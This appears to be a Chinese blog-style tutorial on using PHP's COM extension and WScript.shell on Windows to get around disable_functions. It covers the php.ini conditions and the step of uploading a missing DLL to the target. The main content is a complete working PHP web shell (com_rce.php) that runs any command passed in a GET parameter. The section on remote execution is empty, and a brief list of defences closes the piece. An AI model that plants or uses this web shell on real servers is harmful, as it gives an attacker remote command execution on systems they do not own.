利用Windows COM组件Bypass disable_functions

关于Windows COM组件，这里不作阐述，直接展示我的利用姿势。

利用条件：

1. php.ini中com.allow_dcom的值为true且extension=php_com_dotnet.dll；
   （Tips1：PHP 7版本开始要自己添加扩展extension=php_com_dotnet.dll）
   （Tips2：com.allow_dcom的值默认为false）
2. php/ext/目录下存在php_com_dotnet.dll文件
   （Tips3：如果目标服务器中没有此文件，则上传一个php_com_dotnet.dll文件至目标服务器）
3. 目标服务器为Windows系统且使用PHP语言

利用方法：

0x01 上传com_rce.php文件至服务器

在Windows环境中PHP中的COM()函数可以创建系统组件对象来运行系统命令，上传com_rce.php文件，内容如下：

<?php
$command = $_GET['cmd'];
$wsh = new COM('WScript.shell');
$exec = $wsh->exec("cmd /c".$command);
$stdout = $exec->StdOut();
$stroutput = $stdout->ReadAll();
echo $stroutput;
?>

（摘自酒仙桥：https://mp.weixin.qq.com/s/BiBSwt8JO99JnCfK1pMjJw）
（PS：当时我按照酒仙桥文章里的这一段文件内容时会报错 “Parse error: syntax error, unexpected ‘*’ in D:\phpstudy_old\PHPTutorial\WWW\com_rce.php on line 5”，于是经过查阅资料，发现上面我提供的代码能有效远程命令执行。）

0x02 远程命令执行

防御方法：

1. 将System32目录下的wshom.ocx文件删除；（推荐，杜绝）
2. 删除php/ext/目录下的php_com_dotnet.dll文件，防止被恶意利用；
3. 将com.allow.dcom的值设置为false；